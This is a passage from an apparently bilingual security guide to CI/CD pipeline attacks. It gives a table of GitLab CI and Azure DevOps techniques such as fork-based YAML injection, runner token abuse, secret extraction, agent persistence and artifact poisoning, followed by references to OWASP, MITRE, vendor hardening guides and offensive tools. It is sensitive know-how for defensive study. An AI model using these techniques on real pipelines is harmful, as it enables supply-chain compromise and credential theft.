| GitLab CI | MR 管道 YAML 注入 | Fork(无需权限) | Runner RCE |
| GitLab CI | Runner 令牌注册 | 令牌泄漏 | 作业拦截 |
| GitLab CI | 变量提取 | API 令牌 | 密钥窃取 |
| Azure DevOps | Agent 持久化 | 管道编辑权限 | Agent RCE |
| Azure DevOps | 服务连接窃取 | 管道编辑权限 | 云访问 |
| 所有平台 | 构建产物投毒 | 构建步骤被攻陷 | 供应链 |
Key References
主要参考资料
- OWASP Top 10 CI/CD Security Risks: https://owasp.org/www-project-top-10-ci-cd-security-risks/
- Cider Security (now Palo Alto) CI/CD Goat: https://github.com/cider-security-research/cicd-goat
- gato - GitHub Actions enumeration and attack tool: https://github.com/praetorian-inc/gato
- jenkins-attack-framework: https://github.com/Accenture/jenkins-attack-framework
- Abusing GitHub Actions (Synacktiv): https://www.synacktiv.com/en/publications
- MITRE ATT&CK T1195.002: https://attack.mitre.org/techniques/T1195/002/
- GitHub Actions Security Hardening: https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions
- Attacking and Defending CI/CD Pipelines (NCC Group): https://research.nccgroup.com
- GitLab CI/CD Security: https://docs.gitlab.com/ee/ci/security/
- Azure DevOps Pipeline Security: https://learn.microsoft.com/en-us/azure/devops/pipelines/security/
- OWASP Top 10 CI/CD 安全风险:https://owasp.org/www-project-top-10-ci-cd-security-risks/
- Cider Security(现属 Palo Alto)CI/CD Goat:https://github.com/cider-security-research/cicd-goat
- gato - GitHub Actions 枚举与攻击工具:https://github.com/praetorian-inc/gato
- jenkins-attack-framework:https://github.com/Accenture/jenkins-attack-framework
- 滥用 GitHub Actions(Synacktiv):https://www.synacktiv.com/en/publications
- MITRE ATT&CK T1195.002:https://attack.mitre.org/techniques/T1195/002/
- GitHub Actions 安全加固:https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions
- 攻击与防御 CI/CD 管道(NCC Group):https://research.nccgroup.com
- GitLab CI/CD 安全:https://docs.gitlab.com/ee/ci/security/
- Azure DevOps 管道安全:https://learn.microsoft.com/en-us/azure/devops/pipelines/security/